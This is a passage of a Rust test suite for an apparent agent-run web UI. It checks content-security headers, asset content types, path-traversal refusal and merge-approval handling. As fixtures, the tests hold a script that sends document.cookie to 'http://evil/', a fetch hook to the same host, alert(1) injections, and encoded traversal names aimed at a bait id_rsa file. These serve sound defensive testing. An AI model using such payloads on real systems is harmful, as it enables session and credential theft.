11092 let mut raw = Vec::new();
11093 socket.read_to_end(&mut raw).await.expect("read response");
11094 let split = raw
11097 .windows(4)
11098 .position(|w| w == b"\r\n\r\n")
11099 .expect("a header block");
11100 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11101 let bytes = raw[split + 4..].to_vec();
11102 let status = head
11103 .lines()
11104 .next()
11105 .and_then(|line| line.split_whitespace().nth(1))
11106 .and_then(|code| code.parse().ok())
11107 .expect("a status line");
11108 Res {
11109 status,
11110 headers: head.to_lowercase(),
11111 head,
11112 body: String::from_utf8_lossy(&bytes).into_owned(),
11113 bytes,
11114 }
11115 }
11116
11117 async fn request_bytes(
11123 addr: SocketAddr,
11124 path: &str,
11125 headers: &[(&str, &str)],
11126 body: &[u8],
11127 ) -> Res {
11128 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11129 for (name, value) in headers {
11130 head.push_str(&format!("{name}: {value}\r\n"));
11131 }
11132 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11133 let mut socket = tokio::net::TcpStream::connect(addr)
11134 .await
11135 .expect("connect to the test server");
11136 socket
11137 .write_all(head.as_bytes())
11138 .await
11139 .expect("write request head");
11140 socket.write_all(body).await.expect("write request body");
11141 let mut raw = Vec::new();
11142 socket.read_to_end(&mut raw).await.expect("read response");
11143 let split = raw
11144 .windows(4)
11145 .position(|w| w == b"\r\n\r\n")
11146 .expect("a header block");
11147 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11148 let bytes = raw[split + 4..].to_vec();
11149 let status = head
11150 .lines()
11151 .next()
11152 .and_then(|line| line.split_whitespace().nth(1))
11153 .and_then(|code| code.parse().ok())
11154 .expect("a status line");
11155 Res {
11156 status,
11157 headers: head.to_lowercase(),
11158 head,
11159 body: String::from_utf8_lossy(&bytes).into_owned(),
11160 bytes,
11161 }
11162 }
11163
11164 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11166 let mut state = RunState::new(
11167 PathBuf::from("/repo/magi"),
11168 "main".to_owned(),
11169 "0123456789abcdef".to_owned(),
11170 "Add a web UI\n\nMobile first.".to_owned(),
11171 Config::default(),
11172 );
11173 state.id = id.to_owned();
11174 state.status = status;
11175 let dir = runs.join(id);
11176 std::fs::create_dir_all(&dir).expect("run dir");
11177 std::fs::write(
11178 dir.join("run.json"),
11179 serde_json::to_string_pretty(&state).expect("serialize run"),
11180 )
11181 .expect("write run.json");
11182 }
11183
11184 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11188 let mut state = RunState::new(
11189 PathBuf::from(repo),
11190 "main".to_owned(),
11191 "0123456789abcdef".to_owned(),
11192 "task".to_owned(),
11193 Config::default(),
11194 );
11195 state.id = id.to_owned();
11196 state.status = status;
11197 let dir = runs.join(id);
11198 std::fs::create_dir_all(&dir).expect("run dir");
11199 std::fs::write(
11200 dir.join("run.json"),
11201 serde_json::to_string_pretty(&state).expect("serialize run"),
11202 )
11203 .expect("write run.json");
11204 }
11205
11206 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11207 let body = serde_json::json!({
11208 "schema": 1,
11209 "pid": 4242,
11210 "started_at": Timestamp::now().to_string(),
11211 "updated_at": updated_at.to_string(),
11212 "idle": false,
11213 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11214 "completed": 7,
11215 "polls": 143,
11216 });
11217 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11218 }
11219
11220 fn launch_idle(
11230 _opts: daemon::Opts,
11231 stop: daemon::Stop,
11232 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11233 Box::pin(async move {
11234 while !stop.stopped() {
11235 tokio::time::sleep(Duration::from_millis(2)).await;
11236 }
11237 Ok(())
11238 })
11239 }
11240
11241 fn launch_broken(
11244 _opts: daemon::Opts,
11245 _stop: daemon::Stop,
11246 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11247 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11252 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11253 Box::pin(async move {
11254 Err(anyhow::anyhow!(if first {
11255 "publish the daemon status file: read-only file system"
11256 } else {
11257 "the restarted stand-in failed as well"
11258 }))
11259 })
11260 }
11261
11262 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11271 for _ in 0..SETTLE_STEPS {
11272 let view = fx.get("/api/loop").await.json();
11273 if want(&view) {
11274 return view;
11275 }
11276 tokio::time::sleep(Duration::from_millis(10)).await;
11277 }
11278 panic!(
11279 "the loop never settled: {}",
11280 fx.get("/api/loop").await.json()
11281 );
11282 }
11283
11284 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11286 let store = fx.questions();
11287 let mut q = Question::new(
11288 "20260902-000000-beef".to_owned(),
11289 "implement".to_owned(),
11290 "impl-A".to_owned(),
11291 summary.to_owned(),
11292 "because it matters".to_owned(),
11293 choices.iter().map(|c| (*c).to_owned()).collect(),
11294 );
11295 store.put(&mut q).expect("put question");
11296 q.id
11297 }
11298
11299 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11305 let store = fx.questions();
11306 let mut q = Question::new(
11307 "20260902-000000-beef".to_owned(),
11308 "land".to_owned(),
11309 "fix".to_owned(),
11310 "Merge this?".to_owned(),
11311 "the diff is in the panel".to_owned(),
11312 vec!["merge".to_owned(), "hold".to_owned()],
11313 );
11314 let staging = fx.home.path().join("staging");
11317 std::fs::create_dir_all(&staging).expect("staging dir");
11318 let sources: Vec<PathBuf> = assets
11319 .iter()
11320 .map(|(name, bytes)| {
11321 let path = staging.join(name);
11322 std::fs::write(&path, bytes).expect("write staged asset");
11323 path
11324 })
11325 .collect();
11326 store
11327 .put_panel(&mut q, html, &sources)
11328 .expect("write the panel");
11329 store.put(&mut q).expect("put question");
11330 q.id
11331 }
11332
11333 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11342 seed_talk_at(&fx.talks(), id, status)
11343 }
11344
11345 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11346 std::fs::create_dir_all(store.root()).expect("talks dir");
11347 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11348 .expect("serialize a seat");
11349 let body = serde_json::json!({
11350 "schema": 1,
11351 "id": id,
11352 "repo": "/repo/magi",
11353 "agent": "mock",
11354 "status": status,
11355 "turns": [],
11356 "created_at": Timestamp::now().to_string(),
11357 "updated_at": Timestamp::now().to_string(),
11358 "seat": seat,
11359 });
11360 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11361 store.get(id).expect("the seeded talk has to be readable");
11362 id.to_owned()
11363 }
11364
11365 #[tokio::test]
11366 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11367 let fx = Fixture::start().await;
11368 let id = panel(
11369 &fx,
11370 "<h1>Merge?</h1><img src=\"diff.svg\">",
11371 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11372 );
11373
11374 for path in [
11375 format!("/api/questions/{id}/panel"),
11376 format!("/api/questions/{id}/asset/diff.svg"),
11377 ] {
11378 let res = fx.get(&path).await;
11379 assert_eq!(res.status, 200, "{path}: {}", res.body);
11380 assert_eq!(
11386 res.header("content-security-policy"),
11387 Some(
11388 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11389 font-src data:; base-uri 'none'; form-action 'none'; \
11390 frame-ancestors 'self'"
11391 ),
11392 "{path} is the only thing between a hostile panel and the tailnet"
11393 );
11394 assert_eq!(
11395 res.header("x-content-type-options"),
11396 Some("nosniff"),
11397 "{path}: a browser must not re-decide the type we sent"
11398 );
11399 assert_eq!(
11400 res.header("referrer-policy"),
11401 Some("no-referrer"),
11402 "{path}: a panel must not leak the question id off the machine"
11403 );
11404
11405 let pre = fx.head(&path).await;
11410 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11411 assert_eq!(
11412 pre.header("content-security-policy"),
11413 res.header("content-security-policy"),
11414 "{path}: the preflight carries the same policy"
11415 );
11416 assert_eq!(
11417 pre.header("content-type"),
11418 res.header("content-type"),
11419 "{path}: the preflight carries the same type"
11420 );
11421 }
11422 }
11423
11424 #[tokio::test]
11425 async fn a_panel_reaches_the_browser_byte_for_byte() {
11426 let fx = Fixture::start().await;
11427 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11432 let id = panel(&fx, html, &[]);
11433
11434 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11435
11436 assert_eq!(res.status, 200);
11437 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11438 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11439 assert_eq!(
11440 res.header("content-disposition"),
11441 None,
11442 "the panel itself is rendered in the frame, not downloaded"
11443 );
11444 }
11445
11446 #[tokio::test]
11447 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11448 let fx = Fixture::start().await;
11449 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11450 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11451 let id = panel(
11452 &fx,
11453 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11454 &[("diff.svg", svg), ("shot.png", png)],
11455 );
11456
11457 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11458 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11459
11460 assert_eq!(as_svg.status, 200);
11461 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11462 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11467
11468 assert_eq!(as_png.status, 200);
11469 assert_eq!(as_png.header("content-type"), Some("image/png"));
11470 assert_eq!(
11471 as_png.header("content-disposition"),
11472 None,
11473 "a raster image has no execution surface, so tapping it still shows it"
11474 );
11475 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11476 }
11477
11478 #[tokio::test]
11479 async fn an_html_asset_is_never_served_as_html() {
11480 let fx = Fixture::start().await;
11481 let id = panel(
11482 &fx,
11483 "<p>see the notes</p>",
11484 &[
11485 (
11486 "notes.html",
11487 b"<script>fetch('http://evil/'+document.cookie)</script>",
11488 ),
11489 ("hook.js", b"fetch('http://evil/')"),
11490 ("data.json", b"{}"),
11491 ("HEADLINE.TXT", b"plain"),
11492 ],
11493 );
11494
11495 for name in ["notes.html", "hook.js", "data.json"] {
11496 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11497 assert_eq!(res.status, 200, "{name}: {}", res.body);
11498 assert_eq!(
11503 res.header("content-type"),
11504 Some("application/octet-stream"),
11505 "{name} must not be a type the browser will execute or render"
11506 );
11507 }
11508 let txt = fx
11511 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11512 .await;
11513 assert_eq!(
11514 txt.header("content-type"),
11515 Some("text/plain; charset=utf-8")
11516 );
11517 }
11518
11519 #[tokio::test]
11520 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11521 let fx = Fixture::start().await;
11522 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11523 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11527
11528 for encoded in [
11535 "%2e%2e%2fid_rsa",
11536 "..%2fid_rsa",
11537 "..%5cid_rsa",
11538 "%2e%2e%5cid_rsa",
11539 "diff%00.svg",
11540 "..",
11541 ".hidden",
11542 "%2e%2e%2f%2e%2e%2fid_rsa",
11543 ] {
11544 let res = fx
11545 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11546 .await;
11547 assert_eq!(
11548 res.status, 400,
11549 "`{encoded}` has to be refused by name, not looked up: {}",
11550 res.body
11551 );
11552 assert!(res.json()["error"].is_string(), "{}", res.body);
11553 }
11554
11555 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11561 let res = fx
11562 .get(&format!("/api/questions/{id}/asset/{literal}"))
11563 .await;
11564 assert_eq!(
11565 res.status, 404,
11566 "`{literal}` must not match the asset route at all: {}",
11567 res.body
11568 );
11569 }
11570 }
11571
11572 #[tokio::test]
11573 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11574 let fx = Fixture::start().await;
11575 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11576 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11577
11578 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11582 assert_eq!(none.status, 404, "{}", none.body);
11583 assert!(none.json()["error"].is_string(), "{}", none.body);
11584 assert_eq!(
11585 fx.head(&format!("/api/questions/{plain}/panel"))
11586 .await
11587 .status,
11588 404,
11589 "the preflight is the only way the client can learn this"
11590 );
11591
11592 let missing = fx
11594 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11595 .await;
11596 assert_eq!(missing.status, 404, "{}", missing.body);
11597 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11598
11599 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11601 assert_eq!(
11602 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11603 404
11604 );
11605 }
11606
11607 #[tokio::test]
11608 async fn a_run_with_an_open_question_reads_as_waiting() {
11609 let fx = Fixture::start().await;
11610 let run = "20260902-000000-beef".to_owned();
11611 write_run(&fx.runs(), &run, RunStatus::Implementing);
11612
11613 let before = fx.get("/api/runs").await.json();
11614 assert_eq!(before[0]["waiting"], false, "{before}");
11615
11616 let store = fx.questions();
11617 let mut q = Question::new(
11618 run.clone(),
11619 "implement".to_owned(),
11620 "impl-A".to_owned(),
11621 "Which backend?".to_owned(),
11622 String::new(),
11623 vec!["SQLite".to_owned()],
11624 );
11625 store.put(&mut q).expect("put");
11626
11627 let during = fx.get("/api/runs").await.json();
11628 assert_eq!(during[0]["waiting"], true, "{during}");
11629
11630 q.answer(Answer::Choice("SQLite".to_owned()))
11633 .expect("answer");
11634 store.put(&mut q).expect("put");
11635 let after = fx.get("/api/runs").await.json();
11636 assert_eq!(after[0]["waiting"], false, "{after}");
11637 }
11638
11639 #[tokio::test]
11640 async fn an_open_question_is_listed_and_counted_by_health() {
11641 let fx = Fixture::start().await;
11642 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11643
11644 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11645 let listed = fx.get("/api/questions").await.json();
11646 assert_eq!(listed.as_array().expect("array").len(), 1);
11647 assert_eq!(listed[0]["id"], id);
11648 assert_eq!(listed[0]["status"], "open");
11649 assert_eq!(listed[0]["choices"][1], "Redis");
11650 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11653 }
11654
11655 fn obsolete_approval_state() -> RunState {
11656 let mut state = crate::land::tests::repair_state(true, true);
11657 state.pr = Some(crate::run::PrRecord {
11658 url: "https://github.com/example/repo/pull/42".into(),
11659 number: 42,
11660 state: "open".into(),
11661 checks: "green".into(),
11662 round: 1,
11663 rounds: 4,
11664 red_at_merge: Vec::new(),
11665 });
11666 state
11667 }
11668
11669 #[tokio::test]
11670 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11671 for owner in ["missing", "current", "completed", "later"] {
11672 let fx = Fixture {
11673 home: TempDir::new().unwrap(),
11674 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11675 };
11676 let mut state = obsolete_approval_state();
11677 state.status = RunStatus::Landing;
11678 state.parked = true;
11679 state.driver_exited = true;
11680 let mut q = Question::new(
11681 state.id.clone(),
11682 crate::land::APPROVAL_NODE.into(),
11683 "land".into(),
11684 "Old approval".into(),
11685 "Original evidence".into(),
11686 vec!["merge".into(), "hold".into()],
11687 );
11688 state.land_approval = Some(crate::run::LandApproval {
11689 question: q.id.clone(),
11690 head: "head".into(),
11691 });
11692 state.save_under(fx.home.path()).unwrap();
11693 let stale = state.clone();
11694 fx.questions().put(&mut q).unwrap();
11695 let mut task = Task::new(
11696 "Owner".into(),
11697 "Original instruction".into(),
11698 state.repo.clone(),
11699 Source::Human,
11700 );
11701 task.runs.push(state.id.clone());
11702 task.status = if owner == "completed" {
11703 TaskStatus::Done
11704 } else {
11705 TaskStatus::Parked
11706 };
11707 if owner == "later" {
11708 task.runs.push("later-run".into());
11709 }
11710 if owner != "missing" {
11711 fx.queue().put(&mut task).unwrap();
11712 }
11713 let ui = Arc::new(Ui::new(
11714 fx.queue(),
11715 fx.questions(),
11716 fx.talks(),
11717 fx.runs(),
11718 fx.home.path().into(),
11719 state.repo.clone(),
11720 ));
11721 let response = question_answer(
11722 State(ui),
11723 Path(q.id.clone()),
11724 Ok(Json(NewAnswer {
11725 choice: Some(crate::merge_decision::DISMISS.into()),
11726 text: None,
11727 ..Default::default()
11728 })),
11729 )
11730 .await
11731 .unwrap();
11732 assert_eq!(
11733 response.0.question.resolution().as_deref(),
11734 Some(crate::merge_decision::DISMISS)
11735 );
11736 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11737 assert_eq!(disk.status, RunStatus::Superseded);
11738 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11739 assert!(!crate::merge_decision::resumable_hold(&disk));
11740 assert_eq!(
11741 serde_json::to_value(&disk.pr).unwrap(),
11742 serde_json::to_value(&stale.pr).unwrap()
11743 );
11744 assert_eq!(fx.questions().count_open(), 0);
11745 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11746 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11747 if owner == "missing" {
11748 assert!(fx.queue().list().is_empty());
11749 } else {
11750 let after = fx.queue().get(&task.id).unwrap();
11751 assert_eq!(
11752 after.status,
11753 if owner == "current" {
11754 TaskStatus::Done
11755 } else {
11756 task.status
11757 }
11758 );
11759 assert_eq!(after.runs, task.runs);
11760 assert_eq!(after.instruction, task.instruction);
11761 assert_eq!(after.action_applied(&q.id), owner == "current");
11762 }
11763 }
11764 }
11765
11766 #[tokio::test]
11767 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
11768 let fx = Fixture::start().await;
11769 let mut state = obsolete_approval_state();
11770 state.status = RunStatus::Landing;
11771 state.parked = true;
11772 state.driver_exited = true;
11773 let mut q = Question::new(
11774 state.id.clone(),
11775 crate::land::APPROVAL_NODE.into(),
11776 "land".into(),
11777 "Superseded PR approval".into(),
11778 "Original review evidence".into(),
11779 vec!["merge".into(), "hold".into()],
11780 );
11781 state.land_approval = Some(crate::run::LandApproval {
11782 question: q.id.clone(),
11783 head: "old-reviewed-head".into(),
11784 });
11785 state.save_under(fx.home.path()).unwrap();
11788 let stale_driver = state.clone();
11789 fx.questions().put(&mut q).unwrap();
11790 let path = fx
11791 .home
11792 .path()
11793 .join("questions")
11794 .join(format!("{}.json", q.id));
11795 let mut legacy = serde_json::to_value(&q).unwrap();
11796 legacy["schema"] = 9.into();
11797 legacy.as_object_mut().unwrap().remove("merge_target");
11798 std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11799
11800 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11803 let answer_path = format!("/api/questions/{}/answer", q.id);
11804 let res = fx.post(&answer_path, Some(&body)).await;
11805 assert_eq!(res.status, 200, "{}", res.body);
11806 let disk = fx.questions().get(&q.id).unwrap();
11807 assert_eq!(
11808 disk.resolution().as_deref(),
11809 Some(crate::merge_decision::DISMISS)
11810 );
11811 assert!(disk.detail.starts_with("Original review evidence"));
11812 let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11813 assert_eq!(retired.status, RunStatus::Superseded);
11814 assert_eq!(
11815 serde_json::to_value(&retired.pr).unwrap(),
11816 serde_json::to_value(&state.pr).unwrap()
11817 );
11818 assert!(!retired.merge_decision.as_ref().unwrap().closed);
11819 assert!(!crate::merge_decision::resumable_hold(&retired));
11820 assert!(fx.queue().list().is_empty());
11821 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11822 let addr = Fixture::serve(
11824 fx.home.path(),
11825 PathBuf::from("/repo/magi"),
11826 launch_idle,
11827 None,
11828 )
11829 .await;
11830 let reconnected = Fixture {
11831 home: fx.home,
11832 addr,
11833 };
11834 let listed = reconnected.get("/api/questions").await.json();
11835 assert!(
11836 listed
11837 .as_array()
11838 .unwrap()
11839 .iter()
11840 .all(|q| q["status"] != "open")
11841 );
11842 assert_eq!(listed[0]["id"], q.id, "history remains available");
11843 assert_eq!(
11844 reconnected.get("/api/health").await.json()["questions_open"],
11845 0
11846 );
11847 assert_eq!(
11848 reconnected
11849 .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11850 .await
11851 .status,
11852 409
11853 );
11854 assert!(
11856 reconnected
11857 .questions()
11858 .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11859 .is_err()
11860 );
11861 assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11864 }
11865
11866 #[tokio::test]
11867 async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11868 let fx = Fixture::start().await;
11869 let mut state = obsolete_approval_state();
11870 state.status = RunStatus::Landing;
11871 state.driver_exited = true;
11872 let mut q = Question::new(
11873 state.id.clone(),
11874 crate::land::APPROVAL_NODE.into(),
11875 "land".into(),
11876 "Obsolete approval".into(),
11877 String::new(),
11878 vec!["merge".into(), "hold".into()],
11879 );
11880 state.land_approval = Some(crate::run::LandApproval {
11881 question: q.id.clone(),
11882 head: "head".into(),
11883 });
11884 state.save_under(fx.home.path()).unwrap();
11885 fx.questions().put(&mut q).unwrap();
11886 let mut task = Task::new(
11887 "Owner".into(),
11888 "Original instruction".into(),
11889 state.repo.clone(),
11890 Source::Human,
11891 );
11892 task.runs = vec![state.id.clone(), "later-run".into()];
11893 fx.queue().put(&mut task).unwrap();
11894 let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11895 let claim = fx.queue().claim(&task.id).unwrap();
11896 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11897 let path = format!("/api/questions/{}/answer", q.id);
11898 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11899 assert!(fx.questions().get(&q.id).unwrap().status.open());
11900 drop(claim);
11901 let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11902 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11903 assert!(fx.questions().get(&q.id).unwrap().status.open());
11904 drop(publication);
11905 state.driver_exited = false;
11907 state.driver_pid = None;
11908 state.save_under(fx.home.path()).unwrap();
11909 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11910 state.driver_exited = true;
11911 state.land_armed_head = Some("head".into());
11912 state.save_under(fx.home.path()).unwrap();
11913 assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11914 state.land_armed_head = None;
11915 state.save_under(fx.home.path()).unwrap();
11916 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11917 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11918 assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11919 }
11920
11921 #[tokio::test]
11922 async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11923 let fx = Fixture::start().await;
11924 let mut state = obsolete_approval_state();
11925 state.status = RunStatus::Landing;
11926 state.driver_exited = true;
11927 let mut q = Question::new(
11928 state.id.clone(),
11929 crate::land::APPROVAL_NODE.into(),
11930 "land".into(),
11931 "Obsolete approval".into(),
11932 String::new(),
11933 vec!["merge".into(), "hold".into()],
11934 );
11935 state.land_approval = Some(crate::run::LandApproval {
11936 question: q.id.clone(),
11937 head: "head".into(),
11938 });
11939 state.save_under(fx.home.path()).unwrap();
11940 fx.questions().put(&mut q).unwrap();
11941 let mut task = Task::new(
11942 "Owner".into(),
11943 "Original instruction".into(),
11944 state.repo.clone(),
11945 Source::Human,
11946 );
11947 task.runs.push(state.id.clone());
11948 task.status = TaskStatus::Parked;
11949 fx.queue().put(&mut task).unwrap();
11950 state.merge_decision = Some(crate::merge_decision::Decision {
11953 question: q.id.clone(),
11954 target: crate::merge_decision::Target {
11955 pr: state.pr.as_ref().unwrap().url.clone(),
11956 head: "head".into(),
11957 language: "ja".into(),
11958 },
11959 choice: crate::merge_decision::DISMISS.into(),
11960 closed: false,
11961 replacement_run: None,
11962 replacement_pr: None,
11963 });
11964 state.status = RunStatus::Superseded;
11965 state.save_under(fx.home.path()).unwrap();
11966 let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11967 let path = format!("/api/questions/{}/answer", q.id);
11968 assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11969 let done = fx.queue().get(&task.id).unwrap();
11970 assert_eq!(done.status, TaskStatus::Done);
11971 assert_eq!(done.runs, task.runs);
11972 assert_eq!(done.instruction, task.instruction);
11973 assert!(done.action_applied(&q.id));
11974 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11975 assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11976 assert!(!fx.questions().get(&q.id).unwrap().status.open());
11977 }
11978
11979 #[tokio::test]
11980 async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11981 let home = TempDir::new().unwrap();
11982 let ui = Arc::new(Ui::new(
11983 Queue::at(home.path().join("queue")),
11984 Questions::at(home.path().join("questions")),
11985 Talks::at(home.path().join("talks")),
11986 home.path().join("runs"),
11987 home.path().to_owned(),
11988 home.path().to_owned(),
11989 ));
11990 let talks = &ui.talks;
11991 let chat =
11992 talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11993 let mut q = Question::new(
11994 "run".into(),
11995 crate::land::APPROVAL_NODE.into(),
11996 "land".into(),
11997 "Merge?".into(),
11998 String::new(),
11999 vec!["merge".into(), "hold".into()],
12000 );
12001 q.routed_task = Some("task".into());
12002 q.routed_chat = Some(chat.id.clone());
12003 q.merge_target = Some(crate::merge_decision::Target {
12004 pr: "https://example.test/pull/1".into(),
12005 head: "head-a".into(),
12006 language: "en".into(),
12007 });
12008 ui.questions.put(&mut q).unwrap();
12009 let send = |body| {
12010 question_answer(
12011 State(ui.clone()),
12012 Path(q.id.clone()),
12013 Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12014 )
12015 };
12016 let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12017 assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12018 let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12019 assert!(send(wrong_chat).await.is_err());
12020 let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12021 assert!(send(stale).await.is_err());
12022 assert!(ui.questions.get(&q.id).unwrap().status.open());
12023 assert!(send(button.clone()).await.is_ok());
12024 assert_eq!(
12025 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12026 Some("merge")
12027 );
12028 assert!(send(button).await.is_err());
12029 }
12030
12031 #[tokio::test]
12032 async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12033 let home = TempDir::new().unwrap();
12034 let ui = Arc::new(Ui::new(
12035 Queue::at(home.path().join("queue")),
12036 Questions::at(home.path().join("questions")),
12037 Talks::at(home.path().join("talks")),
12038 home.path().join("runs"),
12039 home.path().to_owned(),
12040 home.path().to_owned(),
12041 ));
12042 for choice in [crate::land::APPROVE, crate::land::HOLD] {
12043 let mut q = Question::new(
12044 "run".into(),
12045 crate::land::APPROVAL_NODE.into(),
12046 "land".into(),
12047 "Merge?".into(),
12048 String::new(),
12049 vec!["merge".into(), choice.into()],
12050 );
12051 q.routed_task = Some("task".into());
12052 q.merge_target = Some(crate::merge_decision::Target {
12053 pr: "https://example.test/pull/1".into(),
12054 head: "head-a".into(),
12055 language: "en".into(),
12056 });
12057 ui.questions.put(&mut q).unwrap();
12058 let answer = |c: &str| {
12059 question_answer(
12060 State(ui.clone()),
12061 Path(q.id.clone()),
12062 Ok(Json(
12063 serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12064 .unwrap(),
12065 )),
12066 )
12067 };
12068 let _ = answer(choice).await.unwrap();
12069 assert_eq!(
12070 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12071 Some(choice)
12072 );
12073 }
12074 }
12075
12076 #[tokio::test]
12077 async fn a_routed_decision_is_refused_on_the_question_route() {
12078 let home = TempDir::new().unwrap();
12079 let ui = Arc::new(Ui::new(
12080 Queue::at(home.path().join("queue")),
12081 Questions::at(home.path().join("questions")),
12082 Talks::at(home.path().join("talks")),
12083 home.path().join("runs"),
12084 home.path().to_owned(),
12085 home.path().to_owned(),
12086 ));
12087 let mut q = Question::new(
12088 "run".into(),
12089 crate::github_text::ASK_NODE.into(),
12090 "posting-gate".into(),
12091 "Post?".into(),
12092 String::new(),
12093 vec!["use fallback".into()],
12094 );
12095 q.routed_task = Some("task".into());
12096 ui.questions.put(&mut q).unwrap();
12097 let sent = question_answer(
12098 State(ui.clone()),
12099 Path(q.id.clone()),
12100 Ok(Json(
12101 serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12102 .unwrap(),
12103 )),
12104 )
12105 .await;
12106 assert!(sent.is_err());
12107 assert!(ui.questions.get(&q.id).unwrap().status.open());
12108 }
12109
12110 #[tokio::test]
12111 async fn merge_decision_api_persists_exact_target_and_selected_action() {
12112 let fx = Fixture {
12113 home: TempDir::new().unwrap(),
12114 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12115 };
